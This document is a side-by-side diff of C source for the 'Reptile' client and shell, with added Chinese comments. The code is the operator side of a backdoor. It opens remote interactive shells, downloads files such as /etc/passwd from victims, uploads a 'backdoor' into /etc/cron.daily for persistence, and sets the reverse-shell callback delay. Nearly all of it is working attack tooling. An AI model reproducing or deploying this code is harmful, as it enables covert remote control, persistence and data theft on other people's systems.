// 如果没有提供文件名打印错误信息并返回错误代码1
if (args[1] == NULL) { if (args[1] == NULL) {
fprintf(stdout, "%s wrong syntax!\n", bad); fprintf(stdout, "%s wrong syntax!\n", bad);
return 1; return 1;
} }
// 尝试打开文件如果失败打印错误信息并返回错误代码1
if (!(confile = fopen(args[1], "r+"))) { if (!(confile = fopen(args[1], "r+"))) {
fprintf(stderr, "%s Cannot open config file\n", bad); fprintf(stderr, "%s Cannot open config file\n", bad);
return 1; return 1;
} }
// 从文件中读取参数值并存储到var_array中
for (vars = 0; vars < 9; vars++) { for (vars = 0; vars < 9; vars++) {
char arg[50] = {0}; char arg[50] = { 0 };
fgets(arg, 50, confile); fgets(arg, 50, confile);
if (strcmp(arg, "(null)\n")) { if (strcmp(arg, "(null)\n")) {
@ -444,55 +431,64 @@ int load(char **args)
} }
} }
// 关闭文件并打印成功信息
fclose(confile); fclose(confile);
fprintf(stdout, "%s Configuration loaded\n", good); fprintf(stdout, "%s Configuration loaded\n", good);
return 1; return 1;
} }
int execute(char **args) // execute函数用于执行内置命令或启动外部程序
{ int execute(char** args) {
int i; int i;
// 如果没有提供参数返回错误代码1
if (args[0] == NULL) if (args[0] == NULL)
return 1; return 1;
// 遍历所有内置命令,查找匹配的命令并执行
for (i = 0; i < num_builtins(); i++) { for (i = 0; i < num_builtins(); i++) {
if (strcmp(args[0], builtin_str[i]) == 0) if (strcmp(args[0], builtin_str[i]) == 0)
return (*builtin_func[i])(args); return (*builtin_func[i])(args);
} }
// 如果没有找到匹配的内置命令,尝试启动外部程序
return launch(args); return launch(args);
} }
char *read_line(void) // read_line函数用于读取用户输入的一行命令
{ char* read_line(void) {
int bufsize = RL_BUFSIZE; int bufsize = RL_BUFSIZE;
int position = 0; int position = 0;
char *buffer = malloc(sizeof(char) * bufsize); char* buffer = malloc(sizeof(char) * bufsize);
int c; int c;
// 如果内存分配失败,打印错误信息并退出
if (!buffer) { if (!buffer) {
fprintf(stderr, "reptile: allocation error\n"); fprintf(stderr, "reptile: allocation error\n");
exit(EXIT_FAILURE); exit(EXIT_FAILURE);
} }
// 循环读取用户输入,直到换行符
while (1) { while (1) {
c = getchar(); c = getchar();
if (c == EOF) { if (c == EOF) {
free(buffer); free(buffer);
exit(EXIT_SUCCESS); exit(EXIT_SUCCESS);
} else if (c == '\n') { }
else if (c == '\n') {
buffer[position] = '\0'; buffer[position] = '\0';
return buffer; return buffer;
} else { }
else {
buffer[position] = c; buffer[position] = c;
} }
position++; position++;
// 如果超出缓冲区大小,扩大缓冲区
if (position >= bufsize) { if (position >= bufsize) {
bufsize += RL_BUFSIZE; bufsize += RL_BUFSIZE;
char *buffer_backup = buffer; char* buffer_backup = buffer;
if ((buffer = realloc(buffer, bufsize)) == NULL) { if ((buffer = realloc(buffer, bufsize)) == NULL) {
free(buffer_backup); free(buffer_backup);
fprintf(stderr, "reptile: allocation error\n"); fprintf(stderr, "reptile: allocation error\n");
@ -502,26 +498,29 @@ char *read_line(void)
} }
} }
char **parse(char *line) // parse函数用于解析用户输入的命令行将其分割为参数数组
{ char** parse(char* line) {
int bufsize = TOK_BUFSIZE, position = 0; int bufsize = TOK_BUFSIZE, position = 0;
char **tokens = malloc(bufsize * sizeof(char *)); char** tokens = malloc(bufsize * sizeof(char*));
char *token, **tokens_backup; char* token, ** tokens_backup;
// 如果内存分配失败,打印错误信息并退出
if (!tokens) { if (!tokens) {
fprintf(stderr, "reptile: allocation error\n"); fprintf(stderr, "reptile: allocation error\n");
exit(EXIT_FAILURE); exit(EXIT_FAILURE);
} }
// 使用strtok函数分割命令行
token = strtok(line, TOK_DELIM); token = strtok(line, TOK_DELIM);
while (token != NULL) { while (token != NULL) {
tokens[position] = token; tokens[position] = token;
position++; position++;
// 如果超出缓冲区大小,扩大缓冲区
if (position >= bufsize) { if (position >= bufsize) {
bufsize += TOK_BUFSIZE; bufsize += TOK_BUFSIZE;
tokens_backup = tokens; tokens_backup = tokens;
tokens = realloc(tokens, bufsize * sizeof(char *)); tokens = realloc(tokens, bufsize * sizeof(char*));
if (!tokens) { if (!tokens) {
free(tokens_backup); free(tokens_backup);
fprintf(stderr, "reptile: allocation error\n"); fprintf(stderr, "reptile: allocation error\n");
@ -535,12 +534,13 @@ char **parse(char *line)
return tokens; return tokens;
} }
void client_loop() // client_loop函数用于进入命令行循环等待用户输入命令
{ void client_loop() {
char *line; char* line;
char **args; char** args;
int status; int status;
// 循环等待用户输入命令
do { do {
line = readline("\e[00;31mreptile-client> \e[00m"); line = readline("\e[00;31mreptile-client> \e[00m");
add_history(line); add_history(line);
@ -555,31 +555,35 @@ void client_loop()
clear_history(); clear_history();
} }
int main() // main函数是程序的入口点
{ int main() {
int len; int len;
char *pwd = get_current_dir_name(); char* pwd = get_current_dir_name();
// 清屏并打印欢迎信息
system("clear"); system("clear");
printf("\n\e[01;36mReptile Client\e[00m\n"); printf("\n\e[01;36mReptile Client\e[00m\n");
printf("\e[01;32mWritten by: F0rb1dd3n\e[00m\n"); printf("\e[01;32mWritten by: F0rb1dd3n\e[00m\n");
banner2(); banner2();
printf("\n"); printf("\n");
// 获取当前工作目录,并为监听器和数据包程序分配内存
len = strlen(pwd); len = strlen(pwd);
listener = (char *)malloc(len + 10); listener = (char*)malloc(len + 10);
// 如果内存分配失败,打印错误信息并退出
if (!listener) if (!listener)
fatal("malloc"); fatal("malloc");
packet = (char *)malloc(len + 8); packet = (char*)malloc(len + 8);
if (!packet) { if (!packet) {
free(listener); free(listener);
fatal("malloc"); fatal("malloc");
} }
// 初始化监听器和数据包程序的路径
bzero(listener, len + 10); bzero(listener, len + 10);
bzero(packet, len + 8); bzero(packet, len + 8);
@ -589,16 +593,22 @@ int main()
strcpy(packet, pwd); strcpy(packet, pwd);
strcat(packet, "/packet"); strcat(packet, "/packet");
// 创建子进程
pid = fork(); pid = fork();
// 如果fork失败打印错误信息并退出
if (pid == -1) if (pid == -1)
fatal("on forking proccess"); fatal("on forking proccess");
// 父进程进入命令行循环
if (pid > 0) if (pid > 0)
client_loop(); client_loop();
// if (pid == 0) // 子进程执行后台任务(这部分代码被注释掉了)
// background job
return EXIT_SUCCESS; return EXIT_SUCCESS;
} }
//客服端实现写了一个简易shell包含了一些内置功能的实现("help", "set", "unset", "show", "run", "export", "load", "exit")
//help打印其他命令使用方法
//exit退出
//set设置变量值需要两个参数参数一为各参数类型("lhost", "lport", "srchost", "srcport", "rhost", "rport", "prot", "pass", "token", 不区分大小写)参数二为该参数的值其值存储在var_array中

@ -23,105 +23,114 @@
#include "pel.h" #include "pel.h"
#include "util.h" #include "util.h"
extern char *optarg; // 全局变量定义
unsigned char message[BUFSIZE + 1]; extern char* optarg; // 获取命令行参数的值
char *password = NULL; unsigned char message[BUFSIZE + 1]; // 定义一个缓冲区,用于存储发送和接收的消息
int sockfd; char* password = NULL; // 定义一个全局变量,用于存储连接密码
pid_t pid; int sockfd; // 定义一个全局变量,用于存储套接字文件描述符
pid_t pid; // 定义一个全局变量用于存储进程ID
int help(int sock, char **args);
int __exit(int sock, char **args); // 函数原型声明
int shell(int sock, char **args); int help(int sock, char** args); // 提供帮助信息的函数
int get_file(int sock, char **args); int __exit(int sock, char** args); // 退出函数,用于关闭连接
int put_file(int sock, char **args); int shell(int sock, char** args); // 打开一个交互式shell的函数
int delay(int sock, char **args); int get_file(int sock, char** args); // 从远程主机下载文件的函数
int put_file(int sock, char** args); // 向远程主机上传文件的函数
char *builtin_str[] = {"help", "download", "upload", "shell", "delay", "exit"}; int delay(int sock, char** args); // 设置反向shell连接间隔的函数
int (*builtin_func[])(int sock, char **) = {&help, &get_file, &put_file,
&shell, &delay, &__exit}; // 内置命令字符串数组,用于映射命令名称到其对应的函数
char* builtin_str[] = { "help", "download", "upload", "shell", "delay", "exit" };
int num_builtins() { return sizeof(builtin_str) / sizeof(char *); } // 内置命令对应的函数指针数组,用于根据命令名称调用对应的函数
int (*builtin_func[])(int sock, char**) = { &help, &get_file, &put_file, &shell, &delay, &__exit };
void pel_error(char *s)
{ // 返回内置命令的数量
int num_builtins() {
return sizeof(builtin_str) / sizeof(char*);
}
// 错误处理函数,根据错误代码打印相应的错误信息
void pel_error(char* s) {
switch (pel_errno) { switch (pel_errno) {
case PEL_CONN_CLOSED: case PEL_CONN_CLOSED:
fprintf(stderr, "%s %s: Connection closed.\n", bad, s); fprintf(stderr, "%s %s: Connection closed.\n", bad, s);
break; break;
case PEL_SYSTEM_ERROR: case PEL_SYSTEM_ERROR:
p_error(s); p_error(s);
break; break;
case PEL_WRONG_CHALLENGE: case PEL_WRONG_CHALLENGE:
fprintf(stderr, "%s %s: Wrong challenge.\n", bad, s); fprintf(stderr, "%s %s: Wrong challenge.\n", bad, s);
break; break;
case PEL_BAD_MSG_LENGTH: case PEL_BAD_MSG_LENGTH:
fprintf(stderr, "%s %s: Bad message length.\n", bad, s); fprintf(stderr, "%s %s: Bad message length.\n", bad, s);
break; break;
case PEL_CORRUPTED_DATA: case PEL_CORRUPTED_DATA:
fprintf(stderr, "%s %s: Corrupted data.\n", bad, s); fprintf(stderr, "%s %s: Corrupted data.\n", bad, s);
break; break;
case PEL_UNDEFINED_ERROR: case PEL_UNDEFINED_ERROR:
fprintf(stderr, "%s %s: No error.\n", bad, s); fprintf(stderr, "%s %s: No error.\n", bad, s);
break; break;
default: default:
fprintf(stderr, "%s %s: Unknown error code.\n", bad, s); fprintf(stderr, "%s %s: Unknown error code.\n", bad, s);
break; break;
} }
} }
void help_download() // 为下载命令提供帮助信息的函数
{ void help_download() {
fprintf(stdout, "%s <file path> <dest dir>\n", builtin_str[1]); fprintf(stdout, "%s <file path> <dest dir>\n", builtin_str[1]);
fprintf(stdout, "Example: download /etc/passwd /tmp\n"); fprintf(stdout, "Example: download /etc/passwd /tmp\n");
} }
void help_upload() // 为上传命令提供帮助信息的函数
{ void help_upload() {
fprintf(stdout, "%s <file path> <dest dir>\n", builtin_str[2]); fprintf(stdout, "%s <file path> <dest dir>\n", builtin_str[2]);
fprintf(stdout, "Example: upload /root/backdoor /etc/cron.daily\n"); fprintf(stdout, "Example: upload /root/backdoor /etc/cron.daily\n");
} }
void help_delay() // 为延迟命令提供帮助信息的函数
{ void help_delay() {
fprintf(stdout, "%s <seconds>\n", builtin_str[4]); fprintf(stdout, "%s <seconds>\n", builtin_str[4]);
fprintf(stdout, "Example: delay 3600\n\n"); fprintf(stdout, "Example: delay 3600\n\n");
fprintf(stdout, "%s Use \"delay 0\" if you don't wanna a " fprintf(stdout, "%s Use \"delay 0\" if you don't want a connection every X time\n", warn);
"connecion every X time\n", warn);
} }
void no_help() // 当命令不需要帮助信息时调用的函数
{ void no_help() {
fprintf(stdout, "This command doesn't need help\n"); fprintf(stdout, "This command doesn't need help\n");
} }
int help(int sock, char **args) // 提供帮助信息的函数
{ int help(int sock, char** args) {
// 如果没有提供子命令或者sock为-1则返回错误代码1
if (args[0] == NULL && sock == -1) if (args[0] == NULL && sock == -1)
return 1; return 1;
// 如果提供了子命令,则根据子命令提供具体的帮助信息
if (args[1] != NULL) { if (args[1] != NULL) {
if (strcmp(args[1], builtin_str[0]) == 0) { if (strcmp(args[1], builtin_str[0]) == 0) {
no_help(); no_help();
} else if (strcmp(args[1], builtin_str[1]) == 0) { }
else if (strcmp(args[1], builtin_str[1]) == 0) {
help_download(); help_download();
} else if (strcmp(args[1], builtin_str[2]) == 0) { }
else if (strcmp(args[1], builtin_str[2]) == 0) {
help_upload(); help_upload();
} else if (strcmp(args[1], builtin_str[3]) == 0) { }
else if (strcmp(args[1], builtin_str[3]) == 0) {
no_help(); no_help();
} else if (strcmp(args[1], builtin_str[4]) == 0) { }
else if (strcmp(args[1], builtin_str[4]) == 0) {
help_delay(); help_delay();
} else if (strcmp(args[1], builtin_str[5]) == 0) { }
else if (strcmp(args[1], builtin_str[5]) == 0) {
no_help(); no_help();
} else { }
else {
fprintf(stdout, "This command is not valid!\n"); fprintf(stdout, "This command is not valid!\n");
} }
} else { }
else {
// 如果没有提供子命令,则打印所有命令的帮助信息
fprintf(stdout, "\n\e[01;36mReptile Shell\e[00m\n"); fprintf(stdout, "\n\e[01;36mReptile Shell\e[00m\n");
fprintf(stdout, "\e[01;32mWritten by: F0rb1dd3n\e[00m\n\n"); fprintf(stdout, "\e[01;32mWritten by: F0rb1dd3n\e[00m\n\n");
fprintf(stdout, "\t%s\t\tShow this help\n", builtin_str[0]); fprintf(stdout, "\t%s\t\tShow this help\n", builtin_str[0]);
@ -137,93 +146,95 @@ int help(int sock, char **args)
return 1; return 1;
} }
int __exit(int sock, char **args) // 退出函数,用于关闭连接
{ int __exit(int sock, char** args) {
// 如果没有提供参数或者sock为-1则返回错误代码1
if (args[0] == NULL && sock == -1) if (args[0] == NULL && sock == -1)
return 1; return 1;
pel_send_msg(sock, (unsigned char *)EXIT, EXIT_LEN); // 发送退出消息给远程主机
pel_send_msg(sock, (unsigned char*)EXIT, EXIT_LEN);
fprintf(stdout, "\n"); fprintf(stdout, "\n");
return 0; return 0;
} }
int shell(int sock, char **args) // 打开一个交互式shell的函数
{ int shell(int sock, char** args) {
// 定义文件描述符集合用于select函数
fd_set rd; fd_set rd;
char *term, *temp; // 定义终端类型和窗口大小等变量
char* term, * temp;
int ret, len, imf, i, size; int ret, len, imf, i, size;
struct winsize ws; struct winsize ws;
struct termios tp, tr; struct termios tp, tr;
// 如果没有提供参数或者sock为-1则返回错误代码1
if (args[0] == NULL && sock == -1) if (args[0] == NULL && sock == -1)
return 1; return 1;
// 获取终端类型
term = getenv("TERM"); term = getenv("TERM");
if (term == NULL) if (term == NULL)
term = "vt100"; term = "vt100";
// 发送终端类型到远程主机
len = strlen(term); len = strlen(term);
ret = pel_send_msg(sock, (unsigned char*)term, len);
ret = pel_send_msg(sock, (unsigned char *)term, len);
if (ret != PEL_SUCCESS) { if (ret != PEL_SUCCESS) {
pel_error("pel_send_msg"); pel_error("pel_send_msg");
return 1; return 1;
} }
// 如果标准输入是终端设置imf为1
imf = 0; imf = 0;
if (isatty(0)) { if (isatty(0)) {
imf = 1; imf = 1;
// 获取窗口大小
if (ioctl(0, TIOCGWINSZ, &ws) < 0) { if (ioctl(0, TIOCGWINSZ, &ws) < 0) {
p_error("ioctl(TIOCGWINSZ)"); p_error("ioctl(TIOCGWINSZ)");
return 1; return 1;
} }
} else { }
else {
ws.ws_row = 25; ws.ws_row = 25;
ws.ws_col = 80; ws.ws_col = 80;
} }
// 发送窗口大小到远程主机
message[0] = (ws.ws_row >> 8) & 0xFF; message[0] = (ws.ws_row >> 8) & 0xFF;
message[1] = (ws.ws_row) & 0xFF; message[1] = (ws.ws_row) & 0xFF;
message[2] = (ws.ws_col >> 8) & 0xFF; message[2] = (ws.ws_col >> 8) & 0xFF;
message[3] = (ws.ws_col) & 0xFF; message[3] = (ws.ws_col) & 0xFF;
ret = pel_send_msg(sock, message, 4); ret = pel_send_msg(sock, message, 4);
if (ret != PEL_SUCCESS) { if (ret != PEL_SUCCESS) {
pel_error("pel_send_msg"); pel_error("pel_send_msg");
return 1; return 1;
} }
// 如果命令是shell则发送shell命令到远程主机
if (strcmp(args[0], builtin_str[3]) == 0) { if (strcmp(args[0], builtin_str[3]) == 0) {
temp = (char *)malloc(2); temp = (char*)malloc(2);
if (!temp) { if (!temp) {
p_error("malloc"); p_error("malloc");
return 1; return 1;
} }
temp[0] = RUNSHELL; temp[0] = RUNSHELL;
temp[1] = '\0'; temp[1] = '\0';
fprintf(stdout, "\n"); fprintf(stdout, "\n");
} else { }
else {
// 如果命令不是shell则发送用户输入的命令到远程主机
size = 1; size = 1;
len = 0; len = 0;
temp = (char*)malloc(size);
temp = (char *)malloc(size);
if (!temp) { if (!temp) {
p_error("malloc"); p_error("malloc");
return 1; return 1;
} }
while (args[len] != NULL) { while (args[len] != NULL) {
size++; size++;
size += strlen(args[len]); size += strlen(args[len]);
char *temp_backup = temp; char* temp_backup = temp;
if ((temp = realloc(temp, size)) == NULL) { if ((temp = realloc(temp, size)) == NULL) {
free(temp_backup); free(temp_backup);
p_error("realloc"); p_error("realloc");
@ -231,390 +242,337 @@ int shell(int sock, char **args)
} }
len++; len++;
} }
memset(temp, '\0', size); memset(temp, '\0', size);
for (i = 0; i < len; i++) { for (i = 0; i < len; i++) {
strcat(temp, args[i]); strcat(temp, args[i]);
strcat(temp, " "); strcat(temp, " ");
} }
} }
len = strlen(temp); len = strlen(temp);
ret = pel_send_msg(sock, (unsigned char *)temp, len); ret = pel_send_msg(sock, (unsigned char*)temp, len);
free(temp); free(temp);
if (ret != PEL_SUCCESS) { if (ret != PEL_SUCCESS) {
pel_error("pel_send_msg"); pel_error("pel_send_msg");
return 1; return 1;
} }
// 设置终端属性,用于非规范模式下的输入输出
if (isatty(1)) { if (isatty(1)) {
if (tcgetattr(1, &tp) < 0) { if (tcgetattr(1, &tp) < 0) {
p_error("tcgetattr"); p_error("tcgetattr");
return 1; return 1;
} }
memcpy((void*)&tr, (void*)&tp, sizeof(tr));
memcpy((void *)&tr, (void *)&tp, sizeof(tr));
tr.c_iflag |= IGNPAR; tr.c_iflag |= IGNPAR;
tr.c_iflag &= tr.c_iflag &=
~(ISTRIP | INLCR | IGNCR | ICRNL | IXON | IXANY | IXOFF); ~(ISTRIP | INLCR | IGNCR | ICRNL | IXON | IXANY | IXOFF);
tr.c_lflag &= tr.c_lflag &=
~(ISIG | ICANON | ECHO | ECHOE | ECHOK | ECHONL | IEXTEN); ~(ISIG | ICANON | ECHO | ECHOE | ECHOK | ECHONL | IEXTEN);
tr.c_oflag &= ~OPOST; tr.c_oflag &= ~OPOST;
tr.c_cc[VMIN] = 1; tr.c_cc[VMIN] = 1;
tr.c_cc[VTIME] = 0; tr.c_cc[VTIME] = 0;
if (tcsetattr(1, TCSADRAIN, &tr) < 0) { if (tcsetattr(1, TCSADRAIN, &tr) < 0) {
p_error("tcsetattr"); p_error("tcsetattr");
return 1; return 1;
} }
} }
// 进入一个循环,处理输入输出
while (1) { while (1) {
FD_ZERO(&rd); FD_ZERO(&rd);
if (imf != 0) if (imf != 0)
FD_SET(0, &rd); FD_SET(0, &rd);
FD_SET(sock, &rd); FD_SET(sock, &rd);
if (select(sock + 1, &rd, NULL, NULL, NULL) < 0) { if (select(sock + 1, &rd, NULL, NULL, NULL) < 0) {
p_error("select"); p_error("select");
break; break;
} }
if (FD_ISSET(sock, &rd)) { if (FD_ISSET(sock, &rd)) {
ret = pel_recv_msg(sock, message, &len); ret = pel_recv_msg(sock, message, &len);
if (ret != PEL_SUCCESS) { if (ret != PEL_SUCCESS) {
pel_error("pel_recv_msg"); pel_error("pel_recv_msg");
break; break;
} }
if (strncmp((char*)message, EXIT, EXIT_LEN) == 0) {
if (strncmp((char *)message, EXIT, EXIT_LEN) == 0) {
if (isatty(1)) if (isatty(1))
tcsetattr(1, TCSADRAIN, &tp); tcsetattr(1, TCSADRAIN, &tp);
fprintf(stdout, "\n"); fprintf(stdout, "\n");
return 1; return 1;
} }
if (write(1, message, len) != len) { if (write(1, message, len) != len) {
p_error("write"); p_error("write");
break; break;
} }
} }
if (imf != 0 && FD_ISSET(0, &rd)) { if (imf != 0 && FD_ISSET(0, &rd)) {
if ((len = read(0, message, BUFSIZE)) < 0) { if ((len = read(0, message, BUFSIZE)) < 0) {
p_error("read"); p_error("read");
break; break;
} }
if (len == 0) { if (len == 0) {
fprintf(stderr, "stdin: end-of-file\n"); fprintf(stderr, "stdin: end-of-file\n");
break; break;
} }
ret = pel_send_msg(sock, message, len); ret = pel_send_msg(sock, message, len);
if (ret != PEL_SUCCESS) { if (ret != PEL_SUCCESS) {
pel_error("pel_send_msg"); pel_error("pel_send_msg");
break; break;
} }
} }
} }
if (isatty(1)) if (isatty(1))
tcsetattr(1, TCSADRAIN, &tp); tcsetattr(1, TCSADRAIN, &tp);
return 1; return 1;
} }
int get_file(int sock, char **args) // 从远程主机下载文件的函数
{ int get_file(int sock, char** args) {
char *temp, *pathname; char* temp, * pathname;
int ret, len, fd, total; int ret, len, fd, total;
unsigned char out = OUT; unsigned char out = OUT;
// 如果没有提供足够的参数或者sock为-1则返回错误代码1
if (args[1] == NULL || args[2] == NULL) { if (args[1] == NULL || args[2] == NULL) {
fprintf(stderr, "%s wrong arguments\n\n", bad); fprintf(stderr, "%s wrong arguments\n\n", bad);
if (pel_send_msg(sock, &out, 1) != PEL_SUCCESS) if (pel_send_msg(sock, &out, 1) != PEL_SUCCESS)
pel_error("pel_send_msg"); pel_error("pel_send_msg");
return 1; return 1;
} }
// 发送文件路径到远程主机
len = strlen(args[1]); len = strlen(args[1]);
ret = pel_send_msg(sock, (unsigned char*)args[1], len);
ret = pel_send_msg(sock, (unsigned char *)args[1], len);
if (ret != PEL_SUCCESS) { if (ret != PEL_SUCCESS) {
pel_error("pel_send_msg"); pel_error("pel_send_msg");
return 1; return 1;
} }
// 构建保存文件的路径
temp = strrchr(args[1], '/'); temp = strrchr(args[1], '/');
if (temp != NULL) if (temp != NULL)
temp++; temp++;
if (temp == NULL) if (temp == NULL)
temp = args[1]; temp = args[1];
len = strlen(args[2]); len = strlen(args[2]);
pathname = (char*)malloc(len + strlen(temp) + 2);
pathname = (char *)malloc(len + strlen(temp) + 2);
if (pathname == NULL) { if (pathname == NULL) {
p_error("malloc"); p_error("malloc");
return 1; return 1;
} }
strcpy(pathname, args[2]); strcpy(pathname, args[2]);
strcpy(pathname + len, "/"); strcpy(pathname + len, "/");
strcpy(pathname + len + 1, temp); strcpy(pathname + len + 1, temp);
// 创建文件
fd = creat(pathname, 0644); fd = creat(pathname, 0644);
if (fd < 0) { if (fd < 0) {
p_error("creat"); p_error("creat");
free(pathname); free(pathname);
return 1; return 1;
} }
free(pathname); free(pathname);
// 接收文件数据并保存
total = 0; total = 0;
while (1) { while (1) {
ret = pel_recv_msg(sock, message, &len); ret = pel_recv_msg(sock, message, &len);
if (ret != PEL_SUCCESS) { if (ret != PEL_SUCCESS) {
pel_error("pel_recv_msg"); pel_error("pel_recv_msg");
fprintf(stderr, "%s Transfer failed.\n", bad); fprintf(stderr, "%s Transfer failed.\n", bad);
return 1; return 1;
} }
if (strncmp((char*)message, EXIT, EXIT_LEN) == 0 && total > 0)
if (strncmp((char *)message, EXIT, EXIT_LEN) == 0 && total > 0)
break; break;
if (write(fd, message, len) != len) { if (write(fd, message, len) != len) {
p_error("write"); p_error("write");
return 1; return 1;
} }
total += len; total += len;
fprintf(stdout, "%d\r", total); fprintf(stdout, "%d\r", total);
fflush(stdout); fflush(stdout);
} }
fprintf(stdout, "%s %d done.\n\n", good, total); fprintf(stdout, "%s %d done.\n\n", good, total);
return 1; return 1;
} }
int put_file(int sock, char **args) // 向远程主机上传文件的函数
{ int put_file(int sock, char** args) {
char *temp, *pathname; char* temp, * pathname;
int ret, len, fd, total; int ret, len, fd, total;
unsigned char out = OUT; unsigned char out = OUT;
// 如果没有提供足够的参数或者sock为-1则返回错误代码1
if (args[1] == NULL || args[2] == NULL) { if (args[1] == NULL || args[2] == NULL) {
fprintf(stderr, "%s wrong arguments\n\n", bad); fprintf(stderr, "%s wrong arguments\n\n", bad);
if (pel_send_msg(sock, &out, 1) != PEL_SUCCESS) if (pel_send_msg(sock, &out, 1) != PEL_SUCCESS)
pel_error("pel_send_msg"); pel_error("pel_send_msg");
return 1; return 1;
} }
// 构建文件路径
temp = strrchr(args[1], '/'); temp = strrchr(args[1], '/');
if (temp != NULL) if (temp != NULL)
temp++; temp++;
if (temp == NULL) if (temp == NULL)
temp = args[1]; temp = args[1];
len = strlen(args[2]); len = strlen(args[2]);
pathname = (char*)malloc(len + strlen(temp) + 2);
pathname = (char *)malloc(len + strlen(temp) + 2);
if (pathname == NULL) { if (pathname == NULL) {
p_error("malloc"); p_error("malloc");
return 1; return 1;
} }
strcpy(pathname, args[2]); strcpy(pathname, args[2]);
strcpy(pathname + len, "/"); strcpy(pathname + len, "/");
strcpy(pathname + len + 1, temp); strcpy(pathname + len + 1, temp);
// 发送文件路径到远程主机
len = strlen(pathname); len = strlen(pathname);
ret = pel_send_msg(sock, (unsigned char*)pathname, len);
ret = pel_send_msg(sock, (unsigned char *)pathname, len);
free(pathname); free(pathname);
if (ret != PEL_SUCCESS) { if (ret != PEL_SUCCESS) {
pel_error("pel_send_msg"); pel_error("pel_send_msg");
return 1; return 1;
} }
// 打开文件并发送文件数据
fd = open(args[1], O_RDONLY); fd = open(args[1], O_RDONLY);
if (fd < 0) { if (fd < 0) {
p_error("open"); p_error("open");
return 1; return 1;
} }
total = 0; total = 0;
while (1) { while (1) {
len = read(fd, message, BUFSIZE); len = read(fd, message, BUFSIZE);
if (len < 0) { if (len < 0) {
p_error("read"); p_error("read");
return 1; return 1;
} }
if (len == 0) { if (len == 0) {
break; break;
} }
ret = pel_send_msg(sock, message, len); ret = pel_send_msg(sock, message, len);
if (ret != PEL_SUCCESS) { if (ret != PEL_SUCCESS) {
pel_error("pel_send_msg"); pel_error("pel_send_msg");
fprintf(stderr, "%s Transfer failed.\n", bad); fprintf(stderr, "%s Transfer failed.\n", bad);
return 1; return 1;
} }
total += len; total += len;
printf("%s %d\r", good, total); printf("%s %d\r", good, total);
fflush(stdout); fflush(stdout);
} }
pel_send_msg(sock, (unsigned char *)EXIT, EXIT_LEN); // 发送结束信号
pel_send_msg(sock, (unsigned char*)EXIT, EXIT_LEN);
printf("%s %d done.\n\n", good, total); printf("%s %d done.\n\n", good, total);
return 1; return 1;
} }
int delay(int sock, char **args) // 设置反向shell连接间隔的函数
{ int delay(int sock, char** args) {
int ret, flag; int ret, flag;
unsigned int i, j; unsigned int i, j;
char *numbers = "0123456789"; char* numbers = "0123456789";
unsigned char out = OUT; unsigned char out = OUT;
// 如果没有提供参数或者sock为-1则返回错误代码1
if (args[1] == NULL) { if (args[1] == NULL) {
fprintf(stderr, "%s no arguments\n\n", bad); fprintf(stderr, "%s no arguments\n\n", bad);
if (pel_send_msg(sock, &out, 1) != PEL_SUCCESS) if (pel_send_msg(sock, &out, 1) != PEL_SUCCESS)
pel_error("pel_send_msg"); pel_error("pel_send_msg");
return 1; return 1;
} }
// 检查参数是否为数字
for (i = 0; i < strlen(args[1]); i++) { for (i = 0; i < strlen(args[1]); i++) {
flag = 0; flag = 0;
for (j = 0; j < strlen(numbers); j++) { for (j = 0; j < strlen(numbers); j++) {
if (args[1][i] == numbers[j]) if (args[1][i] == numbers[j])
flag = 1; flag = 1;
} }
if (flag == 0) { if (flag == 0) {
fprintf(stderr, "%s wrong argument\n\n", bad); fprintf(stderr, "%s wrong argument\n\n", bad);
if (pel_send_msg(sock, &out, 1) != PEL_SUCCESS) if (pel_send_msg(sock, &out, 1) != PEL_SUCCESS)
pel_error("pel_send_msg"); pel_error("pel_send_msg");
return 1; return 1;
} }
} }
ret = pel_send_msg(sock, (unsigned char *)args[1], strlen(args[1])); // 发送延迟时间设置到远程主机
ret = pel_send_msg(sock, (unsigned char*)args[1], strlen(args[1]));
if (ret != PEL_SUCCESS) { if (ret != PEL_SUCCESS) {
pel_error("pel_send_msg"); pel_error("pel_send_msg");
return 1; return 1;
} }
fprintf(stdout, "%s delay -> %s\n\n", good, args[1]); fprintf(stdout, "%s delay -> %s\n\n", good, args[1]);
return 1; return 1;
} }
int execute(int sock, char **args) // 执行命令的函数
{ int execute(int sock, char** args) {
int i, ret; int i, ret;
// 如果没有提供参数或者sock为-1则返回错误代码1
if (args[0] == NULL || sock == -1) if (args[0] == NULL || sock == -1)
return 1; return 1;
// 查找并执行内置命令
for (i = 0; i < num_builtins(); i++) { for (i = 0; i < num_builtins(); i++) {
if (strcmp(args[0], builtin_str[i]) == 0) { if (strcmp(args[0], builtin_str[i]) == 0) {
if (i == 0) { if (i == 0) {
return (*builtin_func[i])(sock, args); return (*builtin_func[i])(sock, args);
} else { }
ret = else {
pel_send_msg(sock, (unsigned char *)&i, 1); ret = pel_send_msg(sock, (unsigned char*)&i, 1);
if (ret != PEL_SUCCESS) { if (ret != PEL_SUCCESS) {
pel_error("pel_send_msg"); pel_error("pel_send_msg");
return 1; return 1;
} }
return (*builtin_func[i])(sock, args); return (*builtin_func[i])(sock, args);
} }
} }
} }
// 如果不是内置命令发送shell命令
i = 3; i = 3;
ret = pel_send_msg(sock, (unsigned char *)&i, 1); ret = pel_send_msg(sock, (unsigned char*)&i, 1);
if (ret != PEL_SUCCESS) { if (ret != PEL_SUCCESS) {
pel_error("pel_send_msg"); pel_error("pel_send_msg");
return 1; return 1;
} }
return (*builtin_func[3])(sock, args); return (*builtin_func[3])(sock, args);
} }
char *read_line(void) // 读取一行输入的函数
{ char* read_line(void) {
int bufsize = RL_BUFSIZE; int bufsize = RL_BUFSIZE;
int position = 0; int position = 0;
char *buffer = malloc(sizeof(char) * bufsize); char* buffer = malloc(sizeof(char) * bufsize);
int c; int c;
// 如果内存分配失败,打印错误信息并退出
if (!buffer) { if (!buffer) {
fprintf(stderr, "reptile: allocation error\n"); fprintf(stderr, "reptile: allocation error\n");
exit(EXIT_FAILURE); exit(EXIT_FAILURE);
} }
// 循环读取用户输入,直到换行符
while (1) { while (1) {
c = getchar(); c = getchar();
if (c == EOF) { if (c == EOF) {
free(buffer); free(buffer);
exit(EXIT_SUCCESS); exit(EXIT_SUCCESS);
} else if (c == '\n') { }
else if (c == '\n') {
buffer[position] = '\0'; buffer[position] = '\0';
return buffer; return buffer;
} else { }
else {
buffer[position] = c; buffer[position] = c;
} }
position++; position++;
if (position >= bufsize) { if (position >= bufsize) {
bufsize += RL_BUFSIZE; bufsize += RL_BUFSIZE;
char *buffer_backup = buffer; char* buffer_backup = buffer;
if ((buffer = realloc(buffer, bufsize)) == NULL) { if ((buffer = realloc(buffer, bufsize)) == NULL) {
